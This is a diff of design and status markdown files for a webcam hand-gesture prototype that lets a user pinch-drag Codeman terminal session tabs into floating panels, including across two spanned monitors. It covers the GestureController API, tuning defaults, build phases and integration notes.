+otherwise block the CDN and startup fails with `failed: {"isTrusted":true}`.
+
+**Multi-monitor button.** Codeman's header has a **multi-monitor button** (it
+replaced the notification bell) → `POST /api/system/span-displays` → spawns
+`scripts/span-codeman.sh`, opening a fresh browser `--app` window spanned across
+all displays so floating panels can cross the monitor seam (PR #103 `95b0035`).
+
+**Caveats:** Codeman serves static with a 1-year **`immutable`** cache, so
+`server.ts` `cacheBustAssets()` appends `?v=<mtime>` to **every** same-origin
+`.js`/`.css` (and the gesture bundle), re-stat'd per render — without it an edited
+module stays cached until a hard refresh (PR #103 `b5ea711`). The old OS-window
+detach verb (kept only as a deliberate, non-default action) does `window.open`,
+which a pinch can get popup-blocked — allow popups once if you ever wire it back.

+
+## `GestureController` API
+
+Transport-agnostic: it owns the camera, recognizer, per-hand smoothing, pinch
+state machine, and gesture→command bus, and emits **coordinate-only** events. It
+knows nothing about tabs or the DOM — hit-testing lives in the consumer (the
+demo's `tabs.ts`, later Codeman). Integration (Phase 5) is just subscribing and
+calling Codeman's existing tab-move / command functions.
+
+```ts
+const gc = new GestureController({
+  video: videoEl,
+  surface: stageEl,        // normalized coords map against this element's rect
+  numHands: 2,
+  pinchOn: 0.35, pinchOff: 0.5,   // pinch hysteresis (fractions of hand size)
+  minCutoff: 1.0, beta: 0.01,     // One-Euro cursor smoothing
+  palmHoldMs: 1000,               // Open_Palm hold before halt-all fires
+  deviceId: "",                   // specific camera; "" = default user-facing
+});
+
+// Drag events — surface pixels (X already mirrored), with a per-hand id.
+gc.on("grab", ({ hand, x, y }) => {});  // pinch closed → start drag
+gc.on("drag", ({ hand, x, y }) => {});  // moving while pinched (per frame)
+gc.on("drop", ({ hand, x, y }) => {});  // released (or hand vanished mid-pinch)
+
+// Discrete commands: "halt-all" | "approve" | "new-session".
+// Still emitted by the controller, but THIS build's demo does not subscribe
+// (pinch-only). Wire these up in Codeman (Phase 5) or re-enable in the demo.
+gc.on("command", ({ name }) => {});
+
+// Per-frame snapshot for HUD / hover highlighting / debug overlay.
+// `haltProgress` (0–1 Open_Palm charge) is also still emitted but unused here.
+gc.on("status", ({ fps, hands, haltProgress }) => {});
+//   hands: { handedness, cursor:{x,y}/*normalized*/, pinchDist, pinching, gesture }[]
+gc.on("results", ({ result, timestampMs }) => {}); // raw recognizer result
+
+await gc.start();              // requests camera, loads model
+await gc.useCamera(deviceId);  // switch camera live
+await gc.listCameras();        // enumerate video inputs
+gc.stop();
+```
+
+All events are live. Hover highlighting is derived from the `status` snapshot
+(not a dedicated event), since only the consumer can hit-test against its tabs.
+Full types in [`src/gesture/types.ts`](./src/gesture/types.ts).
+
+---
+
+## Tuning defaults (start here, then adjust by feel)
+
+- **One-Euro filter:** `minCutoff ≈ 1.0`, `beta ≈ 0.01`. Raise `beta` if drag
+  lags during fast moves; lower `minCutoff` if it jitters when still.
+- **Pinch:** `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference
+  distance, wrist→middle-MCP). Two thresholds = hysteresis = no flicker.
+- **Confidence:** detection/tracking ≈ 0.6. Lower if quick gestures get missed,
+  raise if you get false hands.
+- **Camera:** target 30–60fps, even frontal lighting on the hand zone.
+
+---
+
+## Design notes
+
+- **Standalone first.** Fake tabs let us validate feel before touching Codeman.
+- **Main thread first.** Inference runs on the main thread (60fps, no stutter);
+  a Web Worker stays an optional optimization only if the UI ever stutters.
+- **Two hands** (`numHands: 2`). Each hand keeps its own cursor + pinch state,
+  keyed by handedness so filters don't swap when MediaPipe reorders the hands.
+- **Camera angle: front-facing default; superwide now usable too** — iPhone 17
+  Pro main lens via Continuity Camera, pointing / pinch-to-grab grammar. The
+  superwide / Desk View (overhead, ultra-wide) camera now works with no issues
+  and tracking is confirmed on it; the earlier Safari-only / stretched blocker is
+  resolved. The in-app picker switches cameras live.
+- **Transport-agnostic controller.** It emits coordinate-only `grab`/`drag`/
+  `drop` + `command`; the consumer hit-tests. So Phase 5 only swaps the demo's
+  `tabs.ts` for Codeman wiring — the controller is untouched.

+# Codeman Gesture Control — Prototype Build Plan
+
+> Canonical spec for this project. A Jarvis-style hand-tracking input layer for
+> the Codeman dashboard. Webcam sees your hands; you pinch-drag session tabs
+> between Screen columns and fire discrete gesture commands. Runs entirely
+> in-browser, camera feed never leaves the machine.
+
+Build it as a **standalone prototype first** (its own folder, fake tabs) so the
+input feel can be validated on real hardware before any integration with
+Codeman's existing drag/command code.
+
+---
+
+## Goal & success criteria
+
+Build a `GestureController` module + a self-contained demo page that:
+
+1. Opens the webcam and runs MediaPipe Gesture Recognizer at ~30fps.
+2. Emits a smoothed cursor position and a `pinch` state (grab/release) from hand landmarks.
+3. Lets you **drag fake tabs between columns by pinching**, dropping on release.
+4. Fires **discrete gesture commands** (open palm, thumbs up, victory) onto an event bus.
+5. Feels responsive — drag lag is not perceptible, jitter is filtered out.
+
+**Done when:** you can sit at your desk, pinch a tab, move it to another column,
+release, and it lands — reliably, without visible jitter, with the camera
+mounted at your chosen angle.
+
+---
+
+## Tech stack
+
+- **MediaPipe Tasks Vision** (`@mediapipe/tasks-vision`) — `GestureRecognizer` in `VIDEO` running mode, `numHands: 1` for v1 (add 2 later). Loads the prebuilt `gesture_recognizer.task` model + WASM from CDN.
+- **Vanilla TS + Vite** for the prototype (no framework needed; keep it portable so the module drops into Codeman regardless of its stack). If Codeman is React, the module stays framework-agnostic and you wrap it in a hook at integration time.
+- **One-Euro filter** for cursor smoothing — implement it directly, it's ~40 lines and is the correct tool for noisy interactive landmark streams (low lag at speed, heavy smoothing when still).
+- **Web Worker** for inference is a **Phase 4** optimization — do NOT start there. Get it working on the main thread first; only move to a worker if the dashboard UI stutters.

+```
+
+---
+
+## Core algorithms (the parts that decide whether it feels good)
+
+### 1. Cursor from landmarks
+The drag cursor is the **midpoint of thumb tip (landmark 4) and index tip (landmark 8)**, in normalized [0,1] coords from MediaPipe.
+
+- **Mirror X** (`x = 1 - x`) — the webcam image is flipped relative to the user.
+- Map normalized → screen pixels against the dashboard's bounding rect.
+- Run the resulting (x, y) through **two independent One-Euro filters** (one per axis) before using it. Raw landmarks jitter by several pixels even when the hand is still; this is the single most important quality step.
+
+### 2. Pinch detection with hysteresis
+Compute euclidean distance between landmark 4 and landmark 8. **Normalize by hand size** (e.g. distance wrist→middle-finger-MCP, landmarks 0→9) so the threshold is robust to how close the hand is to the camera.
+
+- Use **two thresholds, not one** (hysteresis): enter pinch below `PINCH_ON` (e.g. 0.35 of hand size), exit only above `PINCH_OFF` (e.g. 0.5). This stops flickering between grab/release at the boundary — critical for not "dropping" a tab mid-drag.
+- Require the pinch state to persist N frames (e.g. 2–3) before firing, to reject single-frame noise.
+
+### 3. State machine
+```
+IDLE ──hand detected──> HOVER ──pinch on──> GRABBED ──pinch off──> (drop) ──> HOVER
+  ^                        |                                                    |
+  └────hand lost───────────┴────────────────hand lost────────────────────────┘
+```
+- `HOVER`: cursor moves, highlights the tab/column under it (hit-test).
+- `GRABBED`: the grabbed tab follows the cursor; emit `drag` events.
+- On `pinch off` in GRABBED: hit-test cursor against drop columns, emit `drop {tabId, targetColumnId}` or `dropCancelled` if outside any column.
+
+### 4. Discrete gestures → command bus
+From `result.gestures[0].categoryName`, debounced (fire once per gesture entry, not every frame while held):
+- `Open_Palm` held ~1s → `command: "halt-all"` (dead-man's-switch — pauses every session; genuinely useful for autonomous loops).
+- `Thumb_Up` → `command: "approve"`.
+- `Victory` → `command: "new-session"`.
+- Map these to the SAME command names your voice layer already dispatches, so both input sources converge on one dispatcher.
+
+---
+
+## GestureController public API (target shape)
+
+```ts
+const gc = new GestureController({
+  video: videoEl,
+  surface: dashboardEl,          // coords mapped against this element's rect
+  numHands: 1,
+  pinchOn: 0.35, pinchOff: 0.5,
+  palmHoldMs: 1000,
+});
+
+gc.on("hover",  ({ x, y, targetId }) => {...});
+gc.on("grab",   ({ x, y })           => {...});
+gc.on("drag",   ({ x, y })           => {...});  // throttled to frame rate
+gc.on("drop",   ({ targetColumnId }) => {...});
+gc.on("command",({ name })           => {...});  // halt-all | approve | new-session
+gc.on("status", ({ fps, handPresent, pinchDist }) => {...}); // debug HUD
+
+await gc.start();   // requests camera, loads model
+gc.stop();
+```
+
+Keep it **transport-agnostic**: it emits semantic events, it does NOT know about
+Codeman's DOM. Integration is just subscribing to these events and calling
+Codeman's existing tab-move / command functions.
+
+---
+
+## Phased build (each phase is independently testable — stop and feel it before moving on)
+
+**Phase 0 — Scaffold & camera (½ day)**
+Vite + TS project. `index.html` with a mirrored `<video>` and a "start" button (camera must be a user gesture). Confirm `getUserMedia` works and you see yourself. Must be served over http(s), not `file://`.
+
+**Phase 1 — Recognizer + debug overlay (½ day)**
+Load `GestureRecognizer` (`VIDEO` mode, CDN model+wasm). Run `recognizeForVideo(video, performance.now())` in a `requestAnimationFrame` loop. Draw the 21-point skeleton + an FPS counter on a canvas over the video. **Checkpoint: confirm you're getting ≥25fps on your actual camera/lighting setup.** Tune lighting here.
+
+**Phase 2 — Cursor + pinch (1 day)**
+Implement `OneEuroFilter` and `pinch.ts`. Render a cursor dot driven by the filtered thumb/index midpoint. Show live pinch distance in the HUD and a color change on grab. **Checkpoint: the dot is steady when your hand is still, and pinch grab/release is crisp with no flicker.** Tune filter constants (`minCutoff`, `beta`) and pinch thresholds here — this is where the "feel" is won or lost.
+
+**Phase 3 — Drag the fake tabs (1 day)**
+Build `tabs.ts`: 3 columns of draggable fake "sessions." Wire the state machine: hover-highlight, grab, drag-follow, drop-with-hit-test. **Checkpoint: you can move a tab across columns reliably 10/10 times.** This is the core demo and the real go/no-go for the whole idea.
+
+**Phase 4 — Discrete commands + polish (1 day)**
+Add gesture→command bus with debouncing and the 1s open-palm halt. Add an on-screen toast when a command fires. Optional: move inference to a Web Worker if the UI stutters; add second-hand support.
+
+**Phase 5 — Codeman integration (✅ working, 2026-06-07)**
+Drop `gesture/` into Codeman via a new consumer `src/codeman/entry.ts` (the core is unchanged; the demo's `main.ts` is *not* the integration point). It binds `grab`/`drag`/`drop` to real `.session-tab`s (grab-to-detach → `app.detachSession`) and pinch-taps the Run / Run Shell toolbar buttons. Runs in Codeman behind `CODEMAN_GESTURE=1`. See the detailed status under "Implementation status" below.
+
+> **Prerequisite (decided 2026-06-06, ✅ done 2026-06-07): Codeman tab-detach first.**
+> Codeman needed a **tab-detach / undock** feature — a session pops out into its
+> own browser window — *before* gesture wiring, because gestures can only drag DOM
+> *within* the one page that owns the camera (you can't drag a node across isolated
+> tabs/OS windows). So undock is a Codeman session-placement op the gesture `drop`
+> *triggers*. **Shipped** as `app.detachSession(id)` → `/session/:id` solo window +
+> BroadcastChannel sync + re-dock on close (the gesture layer calls it directly).
+> Per-monitor placement via `getScreenDetails` stays in the multi-monitor backlog.
+
+---
+
+## Tuning defaults to start from (then adjust by feel)
+- One-Euro: `minCutoff ≈ 1.0`, `beta ≈ 0.01` (raise `beta` if drag lags during fast moves; lower `minCutoff` if it's jittery when still).
+- Pinch: `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference distance).
+- `min_detection_confidence` / `min_tracking_confidence` ≈ 0.6; lower if quick gestures get missed, raise if you get false hands.
+- Camera: target 30–60fps, even frontal lighting on the hand zone (matters more than the sensor).
+
+---
+
+## Hardware note
+
+Prototype on the **MacBook M1 Max built-in cam** for zero-friction Phase 0–3.
+For the real setup, switch to **iPhone via Continuity Camera** mounted at desk
+level aimed at your hand-gesture zone — best sensor + best angle. Decide
+front-facing (pointing/pinch-to-grab) vs overhead (swipe/drag-on-a-plane) mount
+before Phase 3, since it slightly changes the gesture grammar.
+
+---
+
+## Implementation status (kept current)
+
+- ✅ Phase 0, ✅ Phase 1 — see top-level `CLAUDE.md` and `gesture-proto/README.md`.
+- ✅ Phase 1 fps checkpoint — 60fps on MacBook + iPhone 17 Pro (Continuity Camera).
+- ✅ Phase 2 — `OneEuroFilter.ts` + `pinch.ts`: filtered cursor dot + pinch hysteresis. Cursor + `pinchDist` + `pinching` on the `status` event; HUD shows pinch distance, cursor ring turns green on grab.
+- ✅ Phase 3 — `demo/tabs.ts`: 3 Screen columns of draggable session tabs. Controller owns the per-hand pinch state machine and emits `grab`/`drag`/`drop` in surface pixels (with a `hand` id); the demo hit-tests and moves tabs. Two-handed (drag two tabs at once); drop-on-vanish releases a tab if a pinched hand leaves frame.
+- ✅ Beyond plan — two-hand tracking (`numHands: 2`, filters keyed by handedness) and a live camera picker.
+- ✅ Camera (2026-06-06) — front-facing iPhone 17 Pro main lens (Chrome) is the default. **The superwide / Desk View (ultra-wide, overhead) camera now works with no issues and tracking is confirmed on it** — the earlier "Safari-only / stretched / unusable" finding is superseded. Pick either via the in-app camera picker.
+- ✅ Phase 4 (built) — `commands.ts`: debounced gesture→command bus. `Thumb_Up`→approve, `Victory`→new-session (edge-triggered, fire once per entry), `Open_Palm` held `palmHoldMs`→halt-all (dead-man's-switch) with a 0–1 `haltProgress` charge surfaced on `status`. Commands ignore a pinching (mid-drag) hand.
+- ⛔ **Phase 4 unwired in the demo (2026-06-06).** User wants pinch-drag only — an open palm while reaching to pinch kept charging the hold-to-halt. `main.ts` no longer subscribes to `command`/`haltProgress` and the command/charge toasts are gone. The `GestureController` core is untouched and still emits both events, so Phase 5 (or a re-enabled demo) can pick them up unchanged.
+- 🐛 **Drag-position fix (2026-06-06).** A `.dragging` tab is `position: absolute`; the `.column`s establish a containing block via `backdrop-filter`, so board-local left/top were offset by the column's own position — tabs in the middle/right columns flew to the right on grab. Fix: `tabs.ts` reparents the floating tab onto `#board` (no filter/transform) for the drag, so the coordinates `moveTo` computes match the containing block.
+- ✅ **Phase 5 — WORKING at the desk (2026-06-07).** Prerequisite cleared: Codeman tab-detach/undock works in the runtime (`app.detachSession(id)` is the idempotent hook). The gesture overlay runs live in the real Codeman dashboard on `:5000` and was confirmed by the user (normal tab): fullscreen cam + hand/cursor tracking, undock-by-pinch, and Run/Run Shell taps.
+  - **Integration shape: in-page overlay, built into Codeman beta.** The gesture `core` (`src/gesture/`) ships **unchanged**; the consumer is `src/codeman/entry.ts`, esbuild-bundled (`npm run build:codeman`) and served by Codeman at `/gesture/gesture-codeman.js`. A full-viewport, click-through overlay maps coords straight to `elementFromPoint`.
+  - **Gestures (routed by what the pinch lands on):** (a) **grab → in-page floating panel** *(⚠️ pivoted 2026-06-08 — was grab-to-detach)*: pinch a `.session-tab`, a ghost clone follows the hand, pull >`DETACH_PULL_PX` (70) and release → `floatSession(id, x, y)` spawns a re-grabbable `.cg-float` iframe of `/session/:id` (640×420). This **replaced** `window.app.detachSession(id)` (an OS window is a sealed box the hand can't move again — a one-way trip); the float stays in-page so the hand keeps control. See `../../docs/MULTIMONITOR_DESIGN.md`. (b) **Run / Run Shell taps** — pinch over `#runBtn`→`app.run()` / `.btn-shell`→`app.runShell()` and release in place; drift >`TAP_CANCEL_PX` (45) cancels. `CLICK_SELECTOR` is the extensible list. (c) **Fullscreen dimmed cam** by default, **⛶** toggles corner PiP.
+  - **Self-hosted MediaPipe (no CDN).** `entry.ts` passes `wasmBase: "/gesture/wasm"` + `modelUrl: "/gesture/gesture_recognizer.task"`; Codeman serves them same-origin. The CDN path failed in the normal browser tab (content/ad blocker blocking `jsdelivr`/`googleapis`) → surfaced as `failed: {"isTrusted":true}` once `entry.ts` learned to report non-Error throws. Core also gained a GPU→CPU delegate fallback.
+  - **Gated by `CODEMAN_GESTURE=1` (OFF by default).** Under the flag Codeman injects the module script (dashboard only, not `/session/:id` solo popups), cache-busts it with `?v=<mtime>` (static is `max-age=1y`), and widens CSP (`'wasm-unsafe-eval'` + `worker-src 'self' blob:`; same-origin assets now covered by `'self'`). Flag off ⇒ Codeman HTML/CSP unchanged.
+  - **Codeman-side / version control:** the detach + instance isolation + base gesture overlay are committed on `Ark0N/Codeman` branch `beta/session-detach`, open as **PR #103** (tip `afea6d6`; `ceca853` after I fixed its `auth.ts` format:check → CI green). Gotcha: the local prod clone `~/.codeman/app` tracks only `master`, so the branch is hidden until `git fetch origin beta/session-detach` (this briefly misled me into a bogus local reconstruction `03b31b8`, since deleted). The session improvements — direct-detach via `window.app.detachSession`, Run/Run Shell pinch-taps, self-hosted MediaPipe (`/gesture/wasm` + `.task`), and the `server.ts` mtime cache-bust — were **ported onto PR #103** in commit `eea84db` (CI green); their source is `Ark0N/codeman-gesture-control` (`src/codeman/entry.ts`).
+  - **Commits (gesture-proto):** `ddf9cda` (consumer: detach/cam/errors) → `2dd97da` (detach direct) → `21ef793` (Run/Run Shell taps) → `e055b79` (self-host MediaPipe).
+  - **Next:** tune feel; optional in-strip reorder (deferred — user chose detach-only) and more buttons (Stop). Discrete `command` events remain available but unwired (pinch-only). Hand-off brief: `../docs/CODEMAN_DETACH_BRIEF.md`.
+
+## Backlog (requested, for later)
+
+- ✅ **Fullscreen mode** — done. Toggle button fullscreens the `#stage`;
+  `:fullscreen` CSS fills the viewport and the coord mapping adapts since it
+  reads the stage rect every frame.
+- ✅ **Multi-monitor mode — A+C BUILT & validated at the desk (2026-06-08).** The
+  eventual real goal (fling a Codeman session onto an external display by gesture)
+  is reached. **Design → [`../../docs/MULTIMONITOR_DESIGN.md`](../../docs/MULTIMONITOR_DESIGN.md)**,
+  approach **A+C**:
+  - **A — in-page floating panels** (`581fcf9`, `3e0447a`): `entry.ts`
+    `floatSession(id, x, y)` pops a tab into a re-grabbable `.cg-float` iframe of
+    `/session/:id` (640×420) instead of `window.app.detachSession`. The session
+    stays in the camera-owning page's DOM, so the hand keeps control — fixing the
+    one-way-trip flaw of OS-window detach.
+  - **C-span — spanned window** (`063fd8f`, `59946b8`): `scripts/span-codeman.sh`
+    launches a Brave-first (`BROWSER=` override) `--app` window sized to the
+    display union; prereq macOS "Displays have separate Spaces" OFF + re-login.
+    One-click via the **Codeman header button** → `POST /api/system/span-displays`
+    (PR #103 `95b0035`). **Validated:** one window spans both monitors and a panel
+    drags across the seam.
+  - **C-snap** (`getScreenDetails` snapping + seam dead-band) and the **re-dock**
+    gesture/zone are **still pending** — not needed for basic cross-seam dragging.
+  - **Concurrent-rendering question** was RESOLVED first: Codeman already mounts
+    live terminals into floating panels (teammate terminals, log-viewer SSE
+    windows, the iframe-able `/session/:id` solo route), so the live float needed
+    no new Codeman rendering.
+
+Note: the public event surface evolved from the original API sketch. The
+controller stays transport-agnostic but emits coordinate-only `grab`/`drag`/
+`drop` (hit-testing lives in the consumer, since only it knows the DOM/columns).
+`hover`/`dropCancelled`/`targetId` were dropped; hover highlighting is derived
+from the `status` snapshot instead.

+
+> Hand-off brief for **Codeman** to refine and implement **on a beta branch**.
+> Authored from the gesture-control project, which needs this as a prerequisite.
+> Codeman is "aicodeman": a Fastify + WebSocket server streaming xterm.js
+> terminal (tmux) sessions to a web dashboard.
+
+## Goal
+
+Let a session "tab" pop out of the main dashboard into its **own browser
+window** (and back). Each detached window shows just that one session's
+terminal, fully live. This is a standalone UX win *and* a prerequisite for
+gesture control later (a hand-gesture "drop" will eventually trigger
+detach/relocate — but that's a separate project; **this feature is plain UI
+buttons only**).
+
+## Core approach (refine as needed)
+
+- Add a **"Detach" control** on each tab. It opens a new browser window
+  (`window.open`) pointing at a **single-session view** — ideally a real route
+  like `/session/:id` so the popup just loads a URL and attaches like a normal
+  client.
+- The detached window runs its **own xterm.js instance connected to the same
+  session's WebSocket**, so it's live, not a screenshot.
+- Keep the dashboard and detached windows **in sync** (session list, titles,
+  alive/dead state, focus) — via the existing events channel, or a
+  `BroadcastChannel` if simpler.
+- Support **re-dock** (close popup → tab returns to the dashboard) and handle the
+  popup being closed/refreshed gracefully.
+
+## The one critical question to resolve first (in Codeman's own code)
+
+Can the server currently **fan out one session's PTY/tmux output to multiple
+concurrent WebSocket clients**, or is it single-consumer? A detached window is a
+*second* viewer of the same session. If it's single-consumer today, that's the
+main change: make the pty→socket stream **broadcast to N subscribers** (and merge
+input) so dashboard + popup can both watch/type. This likely matters more than
+the UI work.
+
+## Other decisions for Codeman
+
+- Per-session route (`/session/:id`) vs. a single-page popup that's told which id
+  to show.
+- Multi-monitor placement later via the Window Management API
+  (`getScreenDetails`) — **out of scope now**, just don't design against it.
+- Auth/cookie sharing so a popup window authenticates the same as the dashboard.
+
+## Constraints
+
+- Implement on a **beta branch**, not `main`.
+- The gesture-control side keeps a **read-only** copy of Codeman (its `.git`
+  removed); the live `Ark0N/Codeman` repo is **not** touched from here. Codeman
+  implements this itself.
+
+## Why this is sequenced before gesture wiring
+
+Gestures can only drag DOM **within the single page that owns the camera**; you
+cannot drag a node across isolated browser tabs / OS windows. So undock must be a
+**Codeman session-placement operation** that a gesture `drop` later *triggers* —
+not something the gesture layer does. Detach first; wire gestures to it after.

+
+**Status:** **A + C-span BUILT & validated at the desk (2026-06-08).** C-snap

+>   cursor-sensitivity caveats grow.
+
+---
+
+## Goal
+
+Pinch a Codeman session, drag it anywhere — including **across a second
+physical monitor** — drop it, and have it stay where you put it and stay
+grabbable again. The "fling a session onto the external display by gesture"
+end-goal from the BUILD_PLAN backlog, made real **without losing the ability to
+move a session after you've placed it.**
+
+## The root constraint (why this design, not the others)
+
+The hand only exists in **the one page that owns the camera**. Hand tracking,
+the cursor, and `document.elementFromPoint` hit-testing all live in that single
+document. **An OS window created by `window.open` is a sealed box that page
+cannot reach into** — no shared DOM, no shared cursor.
+
+> **Why detach broke movability.** Today `entry.ts` → `detach(id)` calls
+> `window.app.detachSession(id)`, which `window.open`s the session into its own
+> OS window. The instant it leaves the camera-owning page, the hand can never
+> touch it again. Detach-by-pinch *works*, but it's a one-way trip.
+
+**Rule:** anything you want to keep gesture-movable must stay inside **one
+page's DOM.** This design honors that with two composed pieces:
+
+- **A — In-page floating panels.** "Detach" pops a session into a free-floating,
+  absolutely-positioned element *in the same page* (not an OS window), so the
+  hand keeps control forever.
+- **C — One window spanning both monitors.** Run Codeman in a single window
+  stretched across both physical displays, so "drag across monitors" is just
+  "drag across the page," and the second monitor's pixels are actually used.
+
+Option **B** (one OS window per monitor + a distributed BroadcastChannel cursor
+protocol + cross-window session hand-off) was considered and deferred: it's the
+only path to *independent* per-monitor OS windows, but it's a much larger build
+and reintroduces the cross-window wall this design exists to avoid.
+
+---
+
+## Part A — In-page floating panels
+
+### Codeman already has the primitive
+
+`panels-ui.js` has a `.detached` "floating window": an absolutely-positioned
+`<div>` with `panel.style.top/left/width/height` and a drag handler
+(`setupMonitorDrag`) — **all in-page, no `window.open`.** The session-tab detach
+simply picked the wrong primitive (the OS-window one). Part A reuses the
+in-page one.
+
+### Concurrent session rendering — RESOLVED (2026-06-08): live floats are feasible now
+
+The main *dashboard view* renders **one active session at a time** (a single
+shared `this.terminal` opened into `#terminalContainer` in `terminal-ui.js:26`,
+swapped by `selectSession()`). But the page is **not** limited to one terminal —
+the PR #103 branch already ships **three independent in-page concurrent
+floating-content subsystems** we can reuse, so a live floating panel per session
+needs **no new Codeman rendering architecture**:
+
+1. **Teammate terminals** (`panels-ui.js` `teammateTerminals` Map +
+   `subagent-windows.js`). A `Map` of **concurrent live `new Terminal()`
+   instances**, each `terminal.open(body)`'d into a floating panel, bound to a
+   `sessionId` + tmux `paneTarget`, **seeded via REST** buffer fetch
+   (`/api/sessions/:id/teammate-pane-buffer/:pane`), **input via REST**
+   (`/api/sessions/:id/teammate-pane-input`), with lazy-mount (`_lazyPaneTarget`)
+   and `dispose()` cleanup. *This is option 2 already built and shipping.*
+2. **Log-viewer windows** (`panels-ui.js:2632`). Concurrent draggable floating
+   windows, each with its own `EventSource` **SSE stream** and lifecycle map —
+   proof of the generic "floating window + independent per-window stream"
+   pattern.
+3. **`/session/:id` solo route** (`server.ts:573`, `renderIndexHtml(soloId)`,
+   `text/event-stream` at `:633`). A full **standalone live session page** —
+   **iframe-able** — reusing the exact multi-client fan-out detach already
+   depends on. Solo mode deliberately **omits** the gesture overlay
+   (`server.ts:1010-1014`), so there's no nested-overlay problem.
+
+**The PTY multi-viewer fan-out is confirmed** (the brief's open "yes"): a session
+is addressable by multiple concurrent clients — the solo route, the teammate
+REST endpoints, and the on-tab pop-out all view the same live session.
+
+**Resolution:** skip the static-preview fallback. Build live floats directly,
+ranked by new-code cost:
+
+- **Primary — iframe the solo route.** `floatPanel(id)` =
+  `<div class="cg-float" data-id><iframe src="/session/:id"></iframe></div>`.
+  The iframe is a complete live session view (its own terminal + stream client);
+  the gesture layer moves the **div** and the iframe rides along. Lowest new
+  code; reuses proven fan-out; no terminal wiring. Trade-off: a full app shell
+  per float (heavier — fine for a few, watch memory at many).
+- **Richer alt — native teammate-style panel.** Mount a `new Terminal()` in the
+  float body, seed via the session buffer endpoint, feed via the teammate
+  stream. Native (no iframe), lighter per-float, same-document. Use if the
+  iframe feels heavy or you want tighter integration.
+
+Either way the hand only **places** the float; typing into it uses a keyboard
+(focus the iframe / native terminal) — consistent with "gesture places,
+keyboard types."
+
+### Gesture grammar (replaces the current detach path in `entry.ts`)
+
+The grab/drag/drop plumbing already exists; only the **drop action** changes.
+
+- **Grab** a `.session-tab[data-id]` (unchanged: `onGrab`, ghost-follow).
+- **Pull** past `DETACH_PULL_PX` to arm (unchanged: `grab.armed`).
+- **Drop while armed** → **no longer** `window.app.detachSession`. Instead spawn
+  an **in-page floating panel** for that session id at the drop point. New
+  method `floatPanel(id, x, y)` replacing `detach(id)`.
+- **Re-grab** a floating panel (new `PANEL_SELECTOR`, e.g. `.cg-float[data-id]`)
+  → move it; drop anywhere → it stays. This is the capability detach lost.
+- **Drop a panel back over the tab strip** (or a dock zone) → **re-dock**
+  (remove the float; session returns to a plain tab). Mirrors the `.detached` →
+  attach toggle Codeman already has.
+- **Keep `window.open` detach as a separate, deliberate verb** — e.g. a button,
+  or a distinct "throw up and off-screen" gesture — for intentionally parking a
+  session in its own OS window. It is *not* the default pinch action anymore.
+
+### `entry.ts` change surface
+
+- New state: `floats: Map<string, FloatingPanel>` (id → element + position),
+  parallel to the existing `grabs`/`taps` maps.
+- `onGrab`: extend hit-testing to also match `PANEL_SELECTOR`, so an existing
+  float can be re-grabbed (priority: panel over tab when overlapping).
+- `onDrop`: replace `if (grab.armed) this.detach(grab.id)` with
+  `this.floatPanel(...)`; add the panel re-dock branch.
+- `floatPanel(id, x, y)`: create/show the in-page panel (Part A option 1/2),
+  position it absolutely at the drop point. Idempotent per id (re-grab moves the
+  existing one, never duplicates).
+- Coordinate mapping is **already viewport-pixel based** (the click-through
+  surface maps cursor → viewport px), so it needs **no change** for spanning —
+  see Part C.
+
+---
+
+## Part C — One window spanning both monitors
+
+Once the Codeman window physically covers both displays, Part A's panels drag
+across the seam for free, because the gesture cursor is already in viewport
+pixels and the viewport now spans both monitors.
+
+### macOS setup (operational, near-zero code)
+
+1. **System Settings → Desktop & Dock → uncheck "Displays have separate
+   Spaces."** (Requires a logout/login.) This is what lets a single window
+   straddle two physical displays.
+2. Run Codeman **maximized, not fullscreen.** Browser fullscreen is *per
+   display* and will **not** span — use a maximized/borderless window dragged to
+   cover both monitors. (A kiosk/`--app` Chrome window sized to the union rect is
+   the cleanest.) **Automated by `scripts/span-codeman.sh`** — it reads the
+   display-union rect (Finder desktop bounds) and launches a **Brave-first**
+   Chromium-family `--app` window sized to it (fresh per-browser profile so the
+   geometry flags are honored; `BROWSER=` overrides — plain Chrome bounced on the
+   desk machine). One-click from the **Codeman header "multi-monitor" button**
+   (`POST /api/system/span-displays`, which spawns this script), or run it
+   directly. Step 1 + logout is still manual; the script warns if spanning isn't
+   active.
+3. Arrange the two monitors as a contiguous rectangle in Display settings so the
+   union has no vertical offset gap.
+
+### Coordinate model & the bezel seam
+
+- Enumerate displays with **`window.getScreenDetails()`** (Chrome, secure
+  context, `window-management` permission). Gives each screen's
+  `left/top/width/height/availLeft/...` in a **virtual-desktop coordinate
+  space** spanning all monitors.
+- Use it for **screen-edge snapping zones**: e.g. dropping a panel within the
+  right screen's bounds snaps it to fill that screen; the seam between the two
+  screens' rects is a "halt / boundary" zone the cursor crosses.
+- **Account for the bezel gap.** The two monitors are physically separated, but
+  the spanned window's pixels are contiguous — a panel dragged across the seam
+  visually jumps the bezel. Optional: add a dead-band at the seam x-coordinate
+  so a panel snaps to one side rather than straddling.
+- `getScreenDetails` is **only needed for snapping/zone logic**, not for basic
+  dragging — dragging works the moment the window spans. So Part C can ship in
+  two steps: (1) just span + free drag, (2) add `getScreenDetails` snapping.
+
+### Constraints to surface to the user
+
+- macOS-specific; the "separate Spaces" toggle is global and affects all apps.
+- Real fullscreen is unavailable (must run maximized).
+- A bezel-width discontinuity sits in the middle of the coordinate space.
+- `window-management` permission prompts once.
+
+---
+
+## Build phases
+
+1. ✅ **A-MVP — in-page live float, single monitor (DONE, `581fcf9`/`3e0447a`).**
+   `entry.ts` `floatSession(id, x, y)` spawns an **iframe of `/session/:id`** in a
+   `.cg-float` div (640×420) at the drop point; re-grab + move work (re-dock zone
+   still TBD). Movability restored — the live session rides inside the page. (The
+   method is named `floatSession`, not the design-sketch `floatPanel`.)
+2. ✅ **C-span — span the window (DONE, `063fd8f`/`59946b8`; validated at desk).**
+   macOS "separate Spaces" off + `scripts/span-codeman.sh` launches a maximized
+   `--app` window across the display union (Brave-first; `BROWSER=` override).
+   **Confirmed:** panels drag across the seam — viewport mapping held with zero
+   `entry.ts` change. Launchable one-click from the **Codeman header button** →
+   `POST /api/system/span-displays` (PR #103 `95b0035`), or by running the script.
+3. ⏳ **C-snap — screen-aware snapping (pending).** Add `getScreenDetails`; snap a
+   panel to the screen it's dropped on; add the seam dead-band.
+4. **A-alt (optional).** Swap the iframe float for a native teammate-style
+   `new Terminal()` panel if the iframe shell feels heavy or many floats strain
+   memory.
+
+## Open questions / verification before coding
+
